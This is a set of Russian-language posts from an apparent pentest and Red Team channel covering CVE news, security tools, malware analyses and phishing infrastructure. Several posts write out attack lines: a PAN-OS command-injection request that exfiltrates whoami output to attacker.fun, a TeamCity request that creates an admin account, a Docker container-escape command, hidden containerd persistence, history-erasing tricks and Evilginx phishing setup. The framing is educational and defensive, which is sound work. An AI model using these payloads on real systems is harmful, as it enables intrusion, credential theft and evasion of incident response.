Канал о практической ИБ, Pentest, Red Team и Purple Team тестировании. Мы публикуем новости, обзоры инструментов защитников и атакующих, анализируем отчеты APT группировок, разбираем популярные уязвимости, обсуждаем новые CVE'шки и многое другое
Всем привет!
В прошлом году на Positive Hack Days 12
мы обсуждали методики фишинговых атак для получения первоначального доступа во время Red Teaming
тестирований, в том числе я рассказывал про использование в качестве SMTP
серверов для отправки фишинговых сообщений - серверов различных сервисов, предоставляющих услуги почтового маркетинга - Mailgun, Sendgrid, Sendinblue
и пр. В комментариях под этим видео, я случайно увидел вопрос и абсолютно правильный ответ (на скриншоте), который мне просто хотелось бы немного дополнить в этой заметке.
Подход крупных почтовых провайдеров относительно средств обеспечения безопасности и конфигурации спам-фильтров уже давно не ограничен проверкой категоризации доменного имени и правильности настроек механизмов безопасности почтового сервера отправителя и включает в себя огромное количество критериев для оценки "благонадежности". Начиная от количества hop'ов в цепочке SMTP relay
серверов, семантического анализа темы и содержания текста писем, объема содержимого, наличия ссылок и html
тэгов, заканчивая частотой отправки и количеством исходящей и входящей корреспонденции для конкретного почтового домена и использования LLM
для подготовки содержания сообщений. Причем эти критерии держатся в секрете и постоянно изменяются и оптимизируются почтовыми провайдерами.
Во времена, когда Office365
еще был актуальным почтовым решением для компаний в нашей стране, мы использовали скрипт от mgeeky в качестве линтера для обхода спам-фильтров Microsoft
, который включает 105+ проверок спам-фильтров по заголовкам + phishing-HTML-linter.py для содержимого на английском языке. Но даже тогда вероятность попадания в спам зависела от фаз луны случайности🎲, потому что для одних получателей при прочих равных условиях письма прилетали в папку inbox
, а для других в spam
. Причинами такого поведения, основываясь на предположениях могли быть индивидуальные предпочтения/реакции конкретных пользователей на конкретные почтовые сообщения. Кстати, подобный подход реализован в Яндекс360
👍
Таким образом, использование Mailgun, Sendgrid
и прочих тоже не гарантирует доставку в inbox
, но по статистике повышает шансы, по сравнению с поднятым самостоятельно sendmail/exim/postfix
c настроенными SPF/DKIM/DMARC
PS: Спасибо авторам ответа и вопроса!
Всем привет!
Опубликовали запись эфира Код ИБ Безопасная среда - Как использовать Red, Blue и Purple team для улучшения кибербезопасности.
На котором мы с коллегами по отрасли обсуждали наступательную кибербезопасность и перспективы развития Red/Purple Teaming, разницу в подходах для внутренних и внешних команд, травили байки и многое другое😎
00:00 Вступление
00:27 Различия между внешними и внутренними пентестами
04:02 Преимущества внутренних пентестов
10:34 Роль внутренних отделов исследований
13:44 Работа в сфере информационной безопасности
20:34 Purple Team и их роли на рынке
28:15 Использование Deception для защиты от атак
33:14 Использование Deception в практике пентестеров
39:49 Примеры использования Deception в пентесте
41:37 Подходы к управлению командами
48:34 Примеры использования новых технологий
53:58 Роль человека в информационной безопасности
56:48 Социальная инженерия и проникновение в компании
01:01:50 Физическое проникновение в здания и использование беспроводных технологий
01:10:49 Использование радиоуправляемых машинок для проникновения в здания
01:11:26 Пентестинг
01:18:22 Влияние корпоративной культуры на эффективность работы
01:21:10 Автоматизация пентестинга
01:24:53 Влияние подмены заголовков на автоматизацию
01:26:45 Безопасность и удобство
01:30:52 Сегментация и мониторинг
01:39:15 Наступательная кибербезопасность
01:41:37 Автоматизация и отчеты
01:47:20 Бизнес-риски и недопустимые события
01:53:06 Блокировка сервисов и использование альтернативных методов
01:55:17 Использование систем удаленного доступа
01:57:43 Вопросы о безопасности и использовании ресурсов
02:00:44 Различия между пентестом и Red Team
02:03:13 Использование языковых моделей и распознавание фейков
Приятного просмотра!
Детали очередной RCE
уязвимости CVE-2024-3400 (оценка по CVSS=10.0) максимально высокого уровня критичности были опубликованы на прошлой неделе. На этот раз отличился Palo Alto Networks
- один из мировых лидеров в производстве сетевого оборудования. Эксплуатация 0day
RCE
уязвимости SSLVPN
-решения GlobalProtect Gateway/Portal PAN-OS
для получения первоначального доступа в рамках вредоносной кампании Operation MidnightEclipse была обнаружена исследователями из Volexity
.
Эксплуатация цепочки уязвимостей позволяет удалённому не аутентифицированному злоумышленнику получить RCE
:
✅ Уязвимость Arbitrary File Write
позволяет писать в директорию с логами телеметрии /opt/panlogs/tmp/device_telemetry/
с помощью Path Traversal
в значении Cookie
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}x1.outboundhost.com`;
Command injection
в функциональности кастомной библиотеки pansys.py
, которая использует curl
для отправки телеметрии с устройства по cron
, с использованием модуля subprocess.Popen()
IFS (Internal Field Separator)
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: target.com
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}attacker.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Shodan
всего 256 хостов пользователей PAN-OS
😎, которым необходимо обновиться ASAPhttp.html_hash:-1303565546
services.http.response.body_hash="sha1:28f1cf539f855fff3400f6199f8912908f51e1e1
В этой заметке хочу рассказать про новую платформу Xintra - APT Emulation Labs, которая позиционируется как площадка для прокачки навыков IR against APT-level threats
.
Я уже несколько раз писал про платформы для обучения и совершенствования навыков защитников, поэтому еще одна точно лишний не будет😎
➕На данный момент площадка представляет собой лабораторное окружение в веб-интерфейсе с 3 лабами имитирующими Incident Response
кейсы по отработке различных навыков на примере атак APT-29
🐻, APT-10
🐼, AlphV (BlackCat)
🐈⬛
➕ Каждая лаба состоит из 40-60 вопросов, на которые предстоит ответить при расследовании инцидента
➕ Со слов разработчиков на решение каждой лабы потребуется 30-40 часов для опытных аналитиков SOC
и 60-70 часов для новичков
➖7 дневная триалка только после привязки карты
➖минимальная стоимость подписки - 45$/мес
Таким образом, платформ для прокачки навыков защитников становится больше и это радует👍 А если хочется сначала понять зайдет-не зайдет рекомендую посмотреть на бесплатную defbox.io
REDIScovering HeadCrab - A Technical Analysis of a Novel Malware and the Mind Behind It
Так звучит название отличного доклада про анализ малвари HeadCrab от Aqua Security
на BlackHat EU 2023
. Содержание представляет собой детальное исследование HeadCrab
, который использовался для атак на сервера Redis
c целью майнинга криптовалюты.
🔴 Initial Assess
В качестве вектора для получения первоначального доступа злоумышленники использовали технику SLAVEOF/REPLICAOF
из доклада крутого ресерчера Павла Топоркова aka Paul Axe
на ZeroNights 2018
❤️ Редис имеет функциональность, которая заключается в создании копии данных на другом сервере, с помощью redis-cli replicaof <master_host> <master_port>
. Так злодей, который получил доступ к серверу без protected mode, с помощью подбора слабых учетных данных, имеет возможность подключить его как slave (стало не политкорректно с версии Redis 5.0
) т.е replica к своему мастер-серверу и получить таким образом возможность RCE
🔴 Exploitation
Далее на атакуемый сервер устанавливается Redis модуль - Loader.so
в версии HeadCrab2.0
, который загружает основную малварь HeadCrab.so
в memfd (Memory File Descriptor) т.е в RAM
, не оставляю следов на диске
🔴 C2/Defense Evasion
Загруженный основной модуль перезаписывает дефолтные команды Redis overwrite_command ("replicaof", qword_245788, 0LL, 0LL, invalid_command_err_3)
чтобы затруднить идентификацию и избавиться от конкурентов
🔴 Post Exploitation
Далее устанавливается XMRig
для майнинга криптовалюты Monero
🔴 Persistence/Defense Evasion
☑️ Создаются переменные окружения для перетирания shell history - HISTFILE=/dev/null
☑️ Удаление логов, при этом интересно, что логи не просто сносятся, а изменяется размер файлов - truncate ("/var/log/redis/redis.log", 0LL)
☑️ Сокрытие конфигов в атрибутах, вместо создания файлов на диске - return setxattr(path, "trusted.cfg", v5, 0x18uLL, 0)
☑️ Исполнение Lua
скриптов в памяти
☑️ Использование ld.so как LOTL
лоадер
☑️ Использование Files Timestomping
, для затруднения расследования инцидента
☑️ Использование inotify для затруднения расследования инцидента (inotify
для "proc/%d/stat"
, например для top
просто отключает майнер, а "dev/pts/%s"
для pty сессий ssh
)
🔴 Credential Access/Defense Evasion
Далее таким же образом загружается малварь ice9j
для сбора кредов во время аутентификации для SSHd, FTPd, Maild и SQLd
(предположительно в разработке) с использованием различных техник от ptrace
до манипуляций с /proc/$pid/mem
Использование anti-debugging
техник и fanotify для затруднения расследования инцидента
Интересный факт, что исследователи общались с автором малвари, который(ая) представился ice9 по электронной почте, который охотно взаимодействовал и даже поблагодарил ресерчеров за проявленный интерес "Thanks, you are the first one who wrote to this email"
🤪
PS: Желаю всем удачного окончания недели и отличных выходных!
В продолжении темы о новых возможностях Nuclei v3.2.0 от Project Discovery
хотелось бы рассказать о фиче, которой долгое время не хватало этому замечательному инструменту, а именно о возможности фаззинга🔥
✅ Теперь Nuclei умеет фаззить различные компоненты http запроса, а не только параметры (эту возможность добавили еще в Nuclei v2.8.0)part: query - Query Fuzzing
part: path - Path Fuzzing
part: header - Header Fuzzing
part: cookie - Cookie Fuzzing
part: body - Body FuzzingQuery, Path, Header, Cookie
представляют собой key/value
значения, а Body
может быть в различных форматах: JSON, XML, Form, multipart-form data, binary
. В binary
формате ключ всегда будет value
, а остальное содержание body
- само значение, например value
\x08\x96\x01\x12\x07\x74
✅ В шаблонах можно задавать правила, каким образом фаззить эти значения:prefix - Add payload as a prefix to the value
postfix - Add payload as a postfix to the value
replace - Replace the value with payload
infix - Add payload as an infix to the value
replace-regex - Replace the value with payload using regex
✅ На вход Nuclei принимает:nuclei -l target_project.burp -im burp
-im, -input-mode string - mode of input file (list, burp, jsonl, yaml, openapi, swagger)
✅ Фильтры, по сути это те же самые Matchers, только которые применяются для проверки условий для выполнения шаблонов:
- filters:
- type: dsl
dsl:
- method == POST
- len(body) > 0
condition: and
Примеры шаблонов для фаззинга Error Based SQLi in Body
и Host Header Injection
можно посмотреть в блоге Project Discovery. Happy Fuzzing!
Две недели назад вышел новый релиз Nuclei v3.2.0 от Project Discovery
.
В новой версии добавили расширенную функциональность сканов с учетными данными, поддерживающую различные схемы аутентификации
nuclei -u http://example.com/ -secret-file example_auth.yaml
Basic Auth, API Key, Bearer Token, Custom Header, Cookie
OAuth2.0
, когда статичные креды (username и password) используются для получения Session Tokens/Cookie, Custom Header
Secret file
содержит учетные данные для аутентификации для ресурсов по совпадению значений domains и domains-regex
, без необходимости изменять уже существующие шаблоныstatic:
# 1. Basic Auth based auth
- type: basicauth
domains:
- scanme.sh
username: test
password: test
# 2. Bearer Token based auth
- type: bearertoken
domains-regex:
- .*scanme.sh
- .*example.com
token: test
dynamic:
- template: /path/to/wordpress-login.yaml
variables:
- name: username
value: test
- name: password
value: test
type: cookie
domains:
- blog.example.com
cookies:
- raw: "{{wp-global-cookie}}"
- raw: "{{wp-admin-cookie}}"
- raw: "{{wp-plugin-cookie}}"
HashiCorp Vault, AWS Secrets Manager и 1Password
Читать полностью…
Исследователи из WIZ сделали небольшой онлайн CTF "Kubernetes LAN Party" на тему Kubernetes Security
. Он довольно обширно и нетривиально покрывает вопросы сетевой безопасности в Кубере. Разведка в скомпропетированном Pod
, обход Istio
и Lateral Movement
с помощью Kyverno
– всё это есть в этом CTF
. Ничего дополнительно устанавливать не требуется, терминал доступен прямо из браузера.
Сами мы уже прошли челлендж, и однозначно рекомендуем пройти его всем, кто так или иначе имеет дело с безопасностью контейнеров и Kubernetes
.
P.S – Хотите увидеть прохождение данного CTF от нас?
Mail in the Middle – A tool to automate spear phishing campaigns
Интересную технику и инструмент опубликовали исследователи из команды SensePost by Orange Cyberdefense
в конце февраля. Суть Mail-in-the-Middle
заключается в получении почтовых сообщений, в которых отправитель допустил опечатку в доменном имени почтового сервера получателя:
✅ Регистрируются похожие домены, с возможными опечатками
✅ Создаются DNS MX
записи для этих доменов
✅ Создаются правила Catch-All
для почтового ящика, на который перенаправляются все входящие письма
✅ Ждем когда кто-нибудь отправит письмо с опечаткой в адресе отправителя🤞
Для автоматизации "обработки корреспонденции"можно использовать инструмент Maitm:
✅ Скрипт собирает полученную почту с почтовых серверов по SMTP/IMAP
✅ Фильтрует сообщения по значению Subject
, например, которые необходимо переслать по правильному адресу с добавлением "полезного содержания" (injecting tracking URLs, UNC paths and attachments)
✅ Отправляет уведомления в Discord и Teams
✅ Собирает логи в формате %(asctime)s - %(name)s - %(levelname)s - %(message)s
Авторы в блоге приводят свою статистику использования скрипта - 5% полезной информации среди спама и прочего мусора. По моему мнению ждать чудес от этой техники не стоит, так как большинство людей все таки используют список контактов в почтовых клиентах или ответить/переслать или copy/paste. Но тем не менее, обычно домены все равно куплены для фишинга на проектах предполагающих социалку, настроить правила и запустить утилиту не составит труда.
#phishing #Maitm
Давно уже мы не обсуждали новые уязвимости, поэтому сегодня у нас свеженькая RCE - CVE-2024-27198 (оценка по CVSS=9.8) и path traversal - CVE-2024-27199 (оценка по CVSS=7.3) в TeamCity CI/CD от JetBrains
Думаю, что прямо из названия TeamCity CI/CD
в целом уже понятно назначение данного продукта, но если нужны детали в качестве предисловия, то можно посмотреть по ссылке на прошлый обзор критичной баги в этом решении.
Позавчера в блоге Rapid7 были опубликованы технические детали эксплуатации этих уязвимостей:
CVE-2024-27198 - байпас аутентификации из-за недостатка логики проверки аутентификации для методов класса jetbrains.buildServer.controllers.BaseController
библиотеки web-openapi.jar
. Эксплуатация которых позволяет получить возможность доступа к приложению с правами администратора с помощью создания новой учетки или нового значения access token
для существующей учетной записи. Уязвимость возникает при обращении к несуществующей странице c параметром запроса jsp=/app/rest/users;.jsp
curl -ik http://target.com/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
CVE-2024-27199 - тоже про байпас аутентификации, но при обращении к нескольким менее критичным ручкам /res, /update, /.well-known/acme-challenge
. При этом запрос с path traversal
к этим эндпоинтам, на примере /res/../admin/diagnostic.jsp
раскрывает некоторую информацию. А /res/../app/https/settings/uploadCertificate
позволяет изменить tls сертификат и https порт веб-сервера /res/../app/https/settings/setPort
.
Полный список ручек можно найти в блоге авторов.
⚙️ POC: https://github.com/yoryio/CVE-2024-27198, модуль metasploit https://github.com/rapid7/metasploit-framework/pull/18922
🔎 Sigma правила: https://github.com/rapid7/Rapid7-Labs/blob/main/Sigma/path_traversal_attacks_CVE_2024_27199.yml
🪲 Уязвимые версии ПО: TeamCity до версии 2023.11.4
✅ Рекомендации: Патч уже доступен, необходимо обновиться до версии 2023.11.4
#TeamCity #RCE #CVE-2024-27198
Всем привет! Доступна запись эфира AM Live - Как натренировать кибербезопасность в формате Purple Teaming?
Приятного просмотра!
Webhooks SSRF Boomerang
Сегодня хочется немного рассказать про атаки на функциональность Webhooks aka User Generated Callbacks
. По сути современные веб-приложения невозможно представить без функциональности совершения каких-либо действий при наступлении определенных событий.
Согласно информации из википедии, вебхуки обычно запускаются каким-либо событием, например, отправкой кода в репозиторий или комментарием, публикуемым в блоге. Когда происходит это событие, исходный сайт отправляет HTTP-запрос на URL-адрес, указанный для вебхука. Пользователи могут настроить их так, чтобы события на одном сайте вызывали действия на другом.
Таким образом, вебхуки буквально окружают нас везде, при заказах товаров на маркетплейсах😎, интеграциях CI/CD, k8s, даже оповещения в любимые чатики в месенджерах реализовано с помощью этой технологии.
На этом закончим с теорией и перейдем к практике. Суть атаки заключается в возможности осуществить редирект вебхука для эксплуатации SSRF
от имени приложения отправившего этот запрос. Но есть сложность в том, что большинство вебхуков это POST/PUT
запросы, а для SSRF
нам необходимо отправить GET
и для этого можно использовать HTTP 303 See Other, при котором веб-сервер автоматически поменяет метод и отправит GET
запрос при перенаправлении.
Данная атака применима в кейсах, когда тестируемый сервис позволяет регистрировать пользовательские вебхуки на веб-сервере под контролем атакующего с доступом к логам. По ссылке доклад с примером с баг-баунти программы Docker Hub
, с раскрытием ключей AWS IMDS EKS
инфраструктуры при проведении этой атаки.
Sub-sub-subdomain enumeration
Достаточно часто при проведении комплексных пентестов стоит задача пробиться во внутреннюю инфраструктуру со "внешнего периметра", поэтому приходится искать нехоженые тропы точки входа через веб на богом забытых сабдоменах 3-4-5😜 уровней. Особенно это актуально для компаний на высоком уровне зрелости, когда внешние активы постоянно сканируются внутренними командами и баг хантерами.
Достаточно часто поиск подобных саб-саб-сабдоменов приносит низковесящие плоды быстрый захек веба, про который все уже забыли много лет назад и он никому не нужен 😂 Поиск таких активов, в принципе ничем не отличается от стандартного поиска сабдоменов.
Я обычно использую пайплайн из следующих инструментов:
✅ https://github.com/trickest/dsieve - для генерации списка для 3-го и тд уровней по списку найденных ранее сабдоменов
✅ https://github.com/trickest/wordlists/tree/main/inventory/levels - словари для перебора возможных вариантов для следующих уровней
✅ https://github.com/Josue87/gotator - создание словарей с пермутацией для перебора
✅ https://github.com/d3mondev/puredns - для резолва получившегося списка
✅ https://github.com/projectdiscovery/httpx - для поиска веба
✅ https://github.com/sensepost/gowitness - для скриншотов
✅ https://portswigger.net/burp/dastardly - для поиска XSS, чтобы добавить в отчет до кучи🤪
На выходе получается список, который можно уже смотреть вручную или с использованием другой автоматизации
Всем привет!
Запись моего выступления Purple Teaming - Взаимодействие, а не противодействие на KazHackStan 2023 доступна на youtube.
Лайк, подписка, колокольчик 🙏 Приятного просмотра!
Akto - API security testing platform
В этой заметке речь пойдет про тестирование API
c помощью Akto - платформы, с открытым исходным кодом, позволяющая автоматизировать большое количество проверок API
по OWASP-10
. Инструмент представляет собой сканер с приятным веб интерфейсом, запущенный с помощью docker compose
и включающий более 150 шаблонов для проверки различных уязвимостей: XSS, SSRF, IDOR, Mass Assignment, Command Injection, SSTI, LFI, CRLF Injection
и других.
Инструмент позволяет решать следующие задачи:
✅ API Discovery - инвентаризация API
ручек с помощью расширения для Burp Suite, Postman, Har
для понимания Attack Surface
, отслеживания изменений и появления новых эндпоинтов
✅ Sensitive Data Exposure - автоматизированный поиск чувствительных данных в ответах по дефолтным и кастомным фильтрам (email, номер телефона, платежные данные и пр.)
✅ Custom YAML tests - возможность создания кастомных YAML шаблонов проверок для сканера, с детальной документацией и примерами
✅ Automated Testing - автоматизированное сканирование по расписанию
✅ Reporting/Alerting - генерация красивых отчетов (pdf, csv), алерты о найденных уязвимостях с помощью webhooks в чатики в ваших любимых мессенджерах (в платной версии)
✅ CI/CD Integration - интеграция с CI/CD платформами (в платной версии)
✅ K8s, AWS, GСP API connectors (в платной версии)
Таким образом, даже с учетом ограничений в бесплатной версии (50 API endpoints/month, 2,500 tests/month, 10 custom tests) инструмент предоставляет хорошие возможности автоматизации тестирования API веб-приложений.
#akto #api_testing #bug_bounty
Purple Teaming - как обеспечить эффективное взаимодействие
В процессе проведения Purple Teaming
очень важно обеспечить эффективное взаимодействие участников красной и синей команды в режиме реального времени. Например, можно во время реализации тест-кейсов пригласить всех участников в большую переговорку, расположить в разных углах ринга стола, а самим сидеть с важным видом с секундомером в руках пытаясь фиксировать время для оценки эффективности команды защитников по ряду ключевых критериев.
Эти критерии - MTTD (Mean Time to Detect), MTTI (Mean Time to Investigate/Identify), MTTR (Mean Time to Respond)
являются ключевыми KPI
метриками, которые необходимо оптимизировать по результатам проекта.
Но к сожалению, на практике этот способ имеет ряд серьезных недостатков, начиная с того что просто не всегда существует возможность собрать всех причастных в рамках одной географической локации, особенно актуально для внешних компаний и SOC'ов
на аутсорсе, заканчивая тем, что существует вероятность, что к концу дня эти люди просто подерутся между собой🤪 Тоже самое касается конф колов, это только с виду кажется нормальным, когда люди сидят несколько часов, в основном в тишине с включенными камерами😎 Кто-нибудь обязательно забудет включить mute, захочет перекусить, продемонстрировать своего кота/собакена, встретить курьера, горячо поприветствовать соседа с перфоратором😂 и прочие моменты.
Поэтому в своей практике мы обычно используем чатики и инструмент с открытым исходным кодом - VECTR. Это фреймворк от SecurityRiskAdvisors
созданный специально для проведения Purple Teaming
проектов, который позволяет обеспечить максимально комфортное и эффективное взаимодействие.
представляет собой веб-интерфейс в котором одновременно работают участники красной и синей команды, трекают время и результаты по каждому тест-кейсу. По итогу получается красивый очет с таймлайном проведенных работ, который можно смапить на heatmap по
VECTRMITRE
и многое другое.
Я достаточно подробно в формате демонстрации рассказывал про возможности и преимущества использования VECTR
в рамках своего доклада Purple Teaming - Взаимодействие, а не противодействие в прошлом году. А в следующих постах из этой серии планирую поделиться мыслями о том, чего еще не хватает в этом замечательном инструменте и какая функциональность требует самостоятельной доработки и кастомизации.
#vectr #purple_teaming
В продолжении темы про подготовку Red Teaming инфраструктуры
для проведения социо-технических этапов тестирований aka фишинга для получения первоначального доступа, обычно используется Evilgophish от fin3ss3g0d.
По сути это форк оригинальных Evilginx
и Gophish
с расширенной функциональностью, о котором я уже неоднократно писал и рассказывал. Этот инструмент прямо из коробки позволяет настроить использование Cloudflare Turnstile в качестве эффективного решения для противодействия ботам и автоматизированным сканерам, которое в отличии от классических решений CAPTCHA
с выбором картинок и набором текста совсем не влияет на UX
😎
В блоге автора подробно описано каким образом настроить Cloudflare Turnstile
:
✅ Необходимо просто зарегать учетку Cloudflare
(бесплатный уровень подписки), добавить домен фишинговой страницы и скопировать ключи для использования сервиса
./evilginx3 -feed -g ../gophish/gophish.db -turnstile <PUBLIC_KEY>:<PRIVATE_KEY>
evilginx3/templates/turnstile.html
и 403 Forbidden evilginx3/templates/forbidden.html
, LLM справится с этой задачей за 3 секунды🙈По моему мнению, Threat Intelligence - это неотъемлемый этап подготовки для проведения Red/Purple Teaming
тестирований на проникновение. Согласно нашей методологии, TI
аналитика используется для моделирования угроз, подготовки актуальных сценариев, планирования векторов, создания атакующей инфраструктуры и прочего. Да и в целом бывает просто интересно читать про TTPs
некоторых APT
группировок😎
Поэтому, я всегда в поиске новых ресурсов агрегирующих подобную аналитику в структурированном виде и сегодня хочу немного рассказать про площадку Cloud Threat Landscape от Wiz Research
Это бесплатная база знаний, которая включает:
✅ Incidents
Информацию о различных инцидентах по категориям, со ссылками на отчеты
✅ Actors
Поиск по группировкам атакующих, которых удается атрибутировать🙈 Кстати, меня всегда особенно веселит, когда разные вендоры дают одним и тем же APT
альтернативные названия, типа APT31 (Mandiant) aka Judgment Panda (CrowdStrike), Zirconium (Microsoft), TEMP.Avengers (Symantec), Bronze Vinewood (Secureworks), Violet Typhoon (MS)
Мне иногда кажется, что они просто используют рандом, как Docker default container names😄
✅ Techniques
Используемые техники по MITRE
✅ Targeted Technologies
Атакуемые технологии. Список далеко не полный и нуждается в доработке по формату и содержанию, но мне кажется именно чего-то подобного на данный момент не хватает классической MITRE
Таким образом, данный ресурс в совокупности с другими инструментами можно использовать в арсенале инструментов TI для атакующих
ATT&CK Workbench
Во время подготовки тест-кейсов для проведения Purple Teaming
сценариев обычно за основу берется актуальная версия матрицы MITRE ATT&CK
. И на ее базе формируются тест-кейсы для актуальных техник в зависимости от выбранного сценария и портрета потенциальных злоумышленников. Но проблема в том, что оригинальная матрица обновляется всего дважды в год и содержит далеко не все актуальные TTPs
, которые используют киберзлодеи. К тому же каждая Red/Purple
команда проводит собственные исследования, с целью поиска новых техник и кастомизации существующих процедур и инструментов, которые потом используются на проектах и публикуются в формате статей, докладов, заметок в блогах.
Эта база знаний обычно ведется на git
, в вики-системах, тикет-трекерах, общих чатиках, личных заметках и на салфетках из баров. Такой подход не очень удобен, так как при планировании сценариев хочется иметь под рукой всю необходимую информацию в привычном формате MITRE ATT&CK
Поэтому, мы в своей практике используем ATT&CK Workbench - инструмент с открытым исходным кодом от MITRE
. Он представляет собой self-hosted базу знаний, которую мы регулярно самостоятельно обновляем и дополняем новыми техниками и процедурами на основе CTI
аналитики и собственных исследований. По сути это приложение на Node.js
, которое позволяет в веб-интерфейсе взаимодействовать с кастомной версией матрицы MITRE ATT&CK
, функциональность которого включает:
✅ Collection Indexes - возможность импорта всех данных из публичной версии MITRE ATT&CK
✅ REST API для автоматизации и интеграции с другими инструментами
✅ ATT&CK Navigator - интеграция с этим инструментом позволяет делится информацией о новых техниках с аналитиками SOC
в привычном веб-интерфейсе в рамках оценки покрытия, планирования сценариев и разработки/оптимизации правил обнаружения и реагирования
Более подробно об ATT&CK Workbench
и других используемых нами инструментах я рассказывал в докладе Purple Teaming - Взаимодействие, а не противодействие на конференции KazHackStan2023💜
#attack-workbench #purple_teaming
Evilginx 3.3 - Go & Phish
Буквально вчера вышла новая версия Evilginx 3.3 с интеграцией GoPhish
от автора. Я уже неоднократно писал и рассказывал публично об этих незаменимых инструментах, без которых уже фактически сложно представить проведение любой фишинговой компании в рамках получения первоначального доступа на Red Team
проектах. Обычно мы использовали Evilgophish, который в шутку называли плодом внебрачной любви крепкой дружбы Evilginx + GoPhish
, поэтому мне очень интересно посмотреть официальную интеграцию от Kuba Gretzky
Changelog:
✅ Feature: Added support to load custom TLS certificates
Теперь можно удобно подгружать свои TLS сертификаты, а не только использовать LetsEncrypt
с помощью ACME CertMagic
config autocert <on/off>
reverse proxy
в качестве редиректоров, теперь Evilginx
умеет грамотно парсить заголовки: X-Forwarded-For, X-Real-IP, X-Client-IP, Connecting-IP, True-Client-IP, Client-IP
Обычно во время проведения Purple Teaming
в инфраструктуре Kubernetes
мы руководствуемся Kubernetes Threat Matrix или Threat Matrix for Kubernetes для подготовки тест-кейсов в рамках релевантных сценариев. Но всегда хочется большего, чтобы не просто отрабатывать существующие публичные техники, а каждый раз немного удивлять SOC
используя творческий подход😜 Но подобные сценарии обычно требуют времени на исследования и подготовку. Поэтому сегодня хочу порекомендовать новый доклад от крутого исследователя в области безопасности k8s - Rory McCune
- Beyond The Surface - Exploring Attacker Persistence Strategies in Kubernetes.
Содержание доклада представляет собой практически готовый сценарий для Purple Teaming
:
Вводные:
✅ Предположим что злоумышленники с помощью фишинга, подкупа, угроз или шантажа получили доступ к кредам админа продового кластера Kubernetes
Задачи:
✅ В течение ограниченного количества времени провести разведку, закрепиться в кластере перед началом пост-эксплуатации
Тест-кейсы:
✅ Initial
- Получить доступ к ноде с помощью kubectl debug
✅ Persistence
- Добавить authorized_keys
для ssh доступа на ноду
✅ C2/Persistence
- Tailscale mesh VPN (возможны вариации с использованием ZeroTier, Hamachi, Nebula
) детальные инструкции в блоге автора
✅ Execution
- containerd namespaces
ctr namespase create total_legit
ctr -n total_legit images pull not_evil:latest
ctr -n total_legit run --net-host -d --mount type=bind,src=/,dst=host,options=rbind:ro not_evil:latest definitely_not_evil
ctr -n total_legit task exec --exec-id definitely_not_evil -t definitely_not_evil /bin/bash
Execution
- static podsEvasion/Persistence
- Использование CSR (Client Signing Request) API позволяет создать новые креды для любого пользователя с правами Node/Proxy Rights с помощью инструмента автора - teisteanasEvasion/Execution
- Использование kublet API с правами этого пользователя позволяет байпасить Audit Log, Admission Controllers
Recommendations
New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence
Отчет с таким названием от исследователей из Cado Security
лежал у меня в бэклоге почти две недели дожидаясь своего часа⏰ Содержание отчета представляет собой вполне детальный разбор кампании нацеленной на эксплуатацию RCE-уязвимости CVE-2022-26134 в Confluence
и мисконфигов Docker Engine API
на tcp/2375, Apache Hadoop YARN API
на tcp/8088 и Redis
на tcp/6379 с целью запуска майнеров Monero - XMRig
➡️ Вектор атаки:
☑️ Эксплуатация CVE-2022-26134
в Confluence и мисконфига Docker Engine API с классическим побегом из контейнера: docker -H <target-ip>:2375 run -v /:/mnt --rm -it alpine:latest chroot /mnt sh
☑️ Далее не менее классическая схема: bash
скрипт с помощью сron
связывается с С2, тащит ELF бинари 64-bit Golang
и необходимый софт, в том числе сетевые сканнеры masscan, zgrab2, pnscan
для поиска Hadoop YARN
, Redis
☑️ Установка XMRig
для майнинга криптовалюты
В целом ничего примечательного, за исключением попыток еще более ослабить защищенность системы (weakening) и затруднить мероприятия по форензике.
🤔Из интересного:
☑️ Способ избавиться от .bash_history
c помощью shopt (shell options), при этом сама команда на перетирание тоже не остается в history после перезапуска шелла
shopt -ou history 2>/dev/null 1>/dev/null
README
предпочитает крепкие напитки😎Читать полностью…
If you like it then I'd gladly accept a nice bottle of whisky,
some free beer or even just a "Thank you!" email :-)
Nemesis - offensive data enrichment pipeline and operator support system
На Red Teaming
проектах приходится анализировать большое количество неструктурированных данных, полученных в ходе работ и использования различных инструментов.😎 Обычно эта аналитика сводилась к загрузке лута и логов в Hive
с небольшими заметками и гипотезами как можно использовать полученную информацию в ходе дальнейшего развития атак. Поэтому мне всегда хотелось использовать подходы к аналитике аля Big Data
, чтобы иметь под рукой всю доступную информацию проиндексированную для быстрого поиска в режиме реального времени.
Крутые ребята - @tifkin_, @harmj0y, @Max_Harley, @themightyshiv
из SpecterOps
создали Nemesis - инструмент позволяющий успешно решать подобные задачи:
✅ Извлекать метаданные (file types, hashes) всех загруженных файлов
✅ Структурировать данные полученные из различных источников (GPP files, web.config files, PE files)
✅ Анализировать лут в виде найденных .NET assemblies
с помощью кастомной версии InspectAssembly, в целях пост эксплуатации и повышения привилегий
✅ Извлекать и индексировать метаданные и содержание офисных документов, конвертить в pdf в изолированной среде для ручного анализа (привет CanaryTokens
) c помощью Gotenberg
✅ DPAPI лут (History/Downloads, Cookies, Logins, Local State files from Chromium browsers) для последующей расшифровки при наличии DPAPI masterkey
✅ Автоматизированный перебор паролей для зашифрованных файлов (PDFs, office documents, zips/7zs) с помощью John-the-Ripper
✅ Nemesis API
для автоматизации, C2 Connectors
для интеграции с другими инструментами, функциональность аlert'ов и многое другое
Я уже в течение нескольких месяцев тестирую возможности этого фреймворка в лабораторной среде. Мнение на данном этапе - 🔥 впечатляющие возможности, продуманный дизайн архитектуры (схема простая - объясняю один раз на скрине), CLI/Web UI, RAGnarok - LLM чат бот для удобного поиска по индексам и многое-многое другое.
Лайк, если интересен лонгрид с картинками про возможности и опыт использования Nemesis.
Network tunneling with… QEMU?
Существует множество техник и инструментов для проксирования и создания туннелей в рамках Pivoting
